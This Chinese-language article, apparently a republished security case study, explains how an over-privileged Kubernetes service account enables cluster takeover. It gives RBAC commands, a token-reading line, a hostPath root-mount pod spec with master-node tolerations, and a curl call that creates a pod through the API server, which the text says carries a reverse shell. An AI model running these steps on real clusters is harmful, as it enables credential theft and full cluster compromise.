01、概述
Service Account本質(zhì)是服務(wù)賬號,是Pod連接K8s集群的憑證。在默認(rèn)情況下,系統(tǒng)會為創(chuàng)建的Pod提供一個默認(rèn)的Service Account,用戶也可以自定義Service Account,與Service Account關(guān)聯(lián)的憑證會自動掛載到Pod的文件系統(tǒng)中。
當(dāng)攻擊者通過某個web應(yīng)用獲取到一個Pod權(quán)限時,如果RBAC權(quán)限配置不當(dāng),Pod關(guān)聯(lián)的Service Account擁有創(chuàng)建Pod的權(quán)限。攻擊者就可以使用污點(diǎn)容忍的方式,將掛載根目錄的惡意Pod調(diào)度到Master節(jié)點(diǎn),獲取Master 節(jié)點(diǎn)上的 kubeconfig 文件,從而直接接管整個集群。
02、攻擊場景
(1)Service Account賦予bypass對test名稱空間擁有管理員權(quán)限。
kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass
(2)在Pod中,使用自定義的Service Account。
# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
name: pod-sa
namespace: test
spec:
serviceAccountName: "bypass"
containers:
- name: ubuntu
image: ubuntu:20.04
command: ['/bin/sh','-c','sleep 24h']
(3)在Pod創(chuàng)建時,Service Account關(guān)聯(lián)的憑證,會掛載到 /var/run/secrets/kubernetes.io/serviceaccount/ 目錄,其中ca.crt是證書、namespace是Pod所屬的命名空間,token是訪問API Server的令牌 。
03、攻擊過程
(1)攻擊方式:kubectl 命令行操作
在Pod中,下載kubectl命令行工具,使用kubectl auth檢查權(quán)限,擁有當(dāng)前名稱空間中所有執(zhí)行操作的權(quán)限,這就具備了獲取集群權(quán)限的條件。
編寫一個yaml文件,將節(jié)點(diǎn)的根目錄掛載到容器的/data 目錄,使用污點(diǎn)容忍度創(chuàng)建惡意Pod來對Master節(jié)點(diǎn)進(jìn)行橫向控制。
如下圖:將構(gòu)建的Pod成功調(diào)度到Mater節(jié)點(diǎn)。
yaml文件內(nèi)容:
apiVersion: v1
kind: Pod
metadata:
name: pod1
spec:
nodeSelector:
node-role.kubernetes.io/master: ""
tolerations:
- key: "node-role.kubernetes.io/master"
operator: "Exists"
effect: NoSchedule
containers:
- image: nginx:1.20
name: pod1
volumeMounts:
- mountPath: /data
name: data
volumes:
- name: data
hostPath:
path: /
攻擊者成功竊取 kubeconfig 文件,將獲得對 Kubernetes 集群的完全控制權(quán)限,從而能夠任意操控和管理整個集群。
(2)攻擊方式:curl 命令操作
首先,創(chuàng)建一個包含惡意代碼的鏡像,用于反彈Shell,利用curl 命令操作 Kubernetes API創(chuàng)建Pod。
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
用curl創(chuàng)建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "狀態(tài)碼是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \
https://10.96.0.1/api/v1/namespaces/test/pods/
遠(yuǎn)程監(jiān)聽端口來接收Master節(jié)點(diǎn)創(chuàng)建的Pod反彈的shell連接,成功獲取到kubeconfig文件。文章來源:http://www.zghlxwxcb.cn/news/detail-785344.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-785344.html
到了這里,關(guān)于K8s攻擊案例:RBAC配置不當(dāng)導(dǎo)致集群接管的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!